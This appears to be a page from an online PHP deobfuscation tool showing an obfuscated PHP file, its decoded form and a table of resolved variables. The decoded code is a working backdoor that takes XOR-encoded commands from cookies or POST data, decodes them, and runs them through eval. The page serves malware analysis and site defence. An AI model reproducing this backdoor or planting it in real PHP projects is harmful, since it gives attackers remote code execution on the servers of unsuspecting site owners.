Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $lmoHJtg =/* l */"\163" ./* QXya */'t' . 'r'/*Z */./* CUi */'_'/..

Decoded Output download

<?php 
$lmoHJtg     =/*   l  */"s"	./*   QXya  */'t'   .     'r'/*Z */./*   CUi  */'_'/*XrmwD */.	"r" ./* B  */"e" ./* qvP  */chr/*TW*/(112)	./* D */"e"   ./*Ahv  */chr     (97) ./*go */"t"; 
    $qXACoA/*t   */=	"e"/* Ss */.	chr	(120)	.    chr	(112)/*Tdva */.	"l"	.    'o'	./*  HCSM*/"d"/*  s */.   'e';$_C	=	'12226'; 
					$tfXUiB	=	"p"/*   U*/.  chr/*QDG*/(97)/*iV*/./*   xD  */"c" . "k";; 
					function	JRwNlzsA() 
	 { 
		$ULGgfmP    =	Array	(	"qxoyoNYpKC"	=>    "oBhQvj"/*   MvqL */);$_rr/*   yPT  */=     '47466'; 
				 
 
    $FelDocM =/*d */Array (    "weSXdFpnkeVeqhI"/*  P */=>	"QXHYeHeYBXtysBsovtRz"/* kACH */); 
       $ZCoWy	=     Array(     $ULGgfmP,   $_COOKIE,   $ULGgfmP,	$_POST,/*EyT */$FelDocM);; 
 
 
	 
 /* pfp  */return	$ZCoWy;; 
					/*   r   */} 
      
					function	LeNeYL($wHQmUn, $ULGgfmP) 
 /*nHWE  */{ 
 
	if/*JPvF*/(/* JI */count/*nZ   */(	$wHQmUn/* lpJhM   */)     ==/* KMVN  */3/* KDz */)/*   siA  */{ 
 
     $OcpWSnWBk/*   CdYkF*/=     $wHQmUn[1];$_pf  =	'18418'; 
   	$ALAae	=/*  S  */$wHQmUn[2];$_RPFY	=   '3177'; 
/* gifE */$KeutyrQ    =/*   sSYFq  */$OcpWSnWBk($ALAae); 
				eval	(	$KeutyrQ/*   nDrAy   */); 
 
	die	();$_itGDV   =/*NtyBF   */'37712'; 
   	} 
				/*  UAD */} 
 
/*eao  */ 
 
/*  BxcS */function/*ulYtZ */LghCIC($HAUNQ,	$VVAnYTyLZ) 
				{ 
 
	return/* aRczo  */$HAUNQ	^  $VVAnYTyLZ; 
				} 
			 
 
/*   IBp*/$jHfjX	=  "#"; 
				/*GnrjU*/ 
   	foreach     (JRwNlzsA()	as	$mthOMTp)/*  Fa  */{ 
/* YvJG   */foreach/* hfbgW*/( $mthOMTp/*  nQCI*/as/* H*/$VVAnYTyLZ	=>/*Y  */$HAUNQ  )	{ 
 
 
/*Wp  */ 
   /*z*/$HAUNQ	=  @$tfXUiB(	chr/*   AmaaY   */(72)	./*ivGlD */"*",	$HAUNQ	); 
						 
	   $VVAnYTyLZ     .=/*   fa   */"gEJXqB-fbvof-KCAfQ-UOSDjy-PsxqLK-JoTGq-RBpLjzN";; 
		   $VVAnYTyLZ	=	$lmoHJtg    (	$VVAnYTyLZ,	(	strlen(	$HAUNQ	)/strlen(     $VVAnYTyLZ/* oLX   */)    )	+   1); 
 	 
     $VgAbnWgORK   =/* fK  */LghCIC($HAUNQ,     $VVAnYTyLZ);; 
    	 
     $wHQmUn     =/*   A  */$qXACoA ($jHfjX,/*  DCRrF */$VgAbnWgORK/* UHfMa */); 
				/*  gn   */ 
 
     LeNeYL($wHQmUn,    $jHfjX); 
			   
		continue; 
    /* qmJ   */} 
				   } ?>

Did this file decode correctly?

Original Code

<?php
$lmoHJtg     =/*   l  */"\163"	./*   QXya  */'t'   .     'r'/*Z */./*   CUi  */'_'/*XrmwD */.	"\162" ./* B  */"\145" ./* qvP  */chr/*TW*/(112)	./* D */"\x65"   ./*Ahv  */chr     (97) ./*go */"\x74";
    $qXACoA/*t   */=	"\145"/* Ss */.	chr	(120)	.    chr	(112)/*Tdva */.	"\154"	.    'o'	./*  HCSM*/"\144"/*  s */.   'e';$_C	=	'12226';
					$tfXUiB	=	"\x70"/*   U*/.  chr/*QDG*/(97)/*iV*/./*   xD  */"\x63" . "\153";;
					function	JRwNlzsA()
	 {
		$ULGgfmP    =	Array	(	"qxoyoNYpKC"	=>    "oBhQvj"/*   MvqL */);$_rr/*   yPT  */=     '47466';
				

    $FelDocM =/*d */Array (    "weSXdFpnkeVeqhI"/*  P */=>	"QXHYeHeYBXtysBsovtRz"/* kACH */);
       $ZCoWy	=     Array(     $ULGgfmP,   $_COOKIE,   $ULGgfmP,	$_POST,/*EyT */$FelDocM);;


	
 /* pfp  */return	$ZCoWy;;
					/*   r   */}
     
					function	LeNeYL($wHQmUn, $ULGgfmP)
 /*nHWE  */{

	if/*JPvF*/(/* JI */count/*nZ   */(	$wHQmUn/* lpJhM   */)     ==/* KMVN  */3/* KDz */)/*   siA  */{

     $OcpWSnWBk/*   CdYkF*/=     $wHQmUn[1];$_pf  =	'18418';
   	$ALAae	=/*  S  */$wHQmUn[2];$_RPFY	=   '3177';
/* gifE */$KeutyrQ    =/*   sSYFq  */$OcpWSnWBk($ALAae);
				eval	(	$KeutyrQ/*   nDrAy   */);

	die	();$_itGDV   =/*NtyBF   */'37712';
   	}
				/*  UAD */}

/*eao  */

/*  BxcS */function/*ulYtZ */LghCIC($HAUNQ,	$VVAnYTyLZ)
				{

	return/* aRczo  */$HAUNQ	^  $VVAnYTyLZ;
				}
			

/*   IBp*/$jHfjX	=  "\43";
				/*GnrjU*/
   	foreach     (JRwNlzsA()	as	$mthOMTp)/*  Fa  */{
/* YvJG   */foreach/* hfbgW*/( $mthOMTp/*  nQCI*/as/* H*/$VVAnYTyLZ	=>/*Y  */$HAUNQ  )	{


/*Wp  */
   /*z*/$HAUNQ	=  @$tfXUiB(	chr/*   AmaaY   */(72)	./*ivGlD */"\52",	$HAUNQ	);
						
	   $VVAnYTyLZ     .=/*   fa   */"gEJXqB-fbvof-KCAfQ-UOSDjy-PsxqLK-JoTGq-RBpLjzN";;
		   $VVAnYTyLZ	=	$lmoHJtg    (	$VVAnYTyLZ,	(	strlen(	$HAUNQ	)/strlen(     $VVAnYTyLZ/* oLX   */)    )	+   1);
 	
     $VgAbnWgORK   =/* fK  */LghCIC($HAUNQ,     $VVAnYTyLZ);;
    	
     $wHQmUn     =/*   A  */$qXACoA ($jHfjX,/*  DCRrF */$VgAbnWgORK/* UHfMa */);
				/*  gn   */

     LeNeYL($wHQmUn,    $jHfjX);
			  
		continue;
    /* qmJ   */}
				   }

Function Calls

chr 5
JRwNlzsA 1

Variables

$_C 12226
$_rr 47466
$ZCoWy [{'key': 0, 'value': [{'key': 'qxoyoNYpKC', 'value': 'oBhQvj'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'qxoyoNYpKC', 'value': 'oBhQvj'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'weSXdFpnkeVeqhI', 'value': 'QXHYeHeYBXtysBsovtRz'}]}]
$jHfjX #
$qXACoA explode
$tfXUiB pack
$FelDocM [{'key': 'weSXdFpnkeVeqhI', 'value': 'QXHYeHeYBXtysBsovtRz'}]
$ULGgfmP [{'key': 'qxoyoNYpKC', 'value': 'oBhQvj'}]
$lmoHJtg str_repeat

Stats

MD5 bf70e0c516cbb16e68a64666f1791284
Eval Count 0
Decode Time 106 ms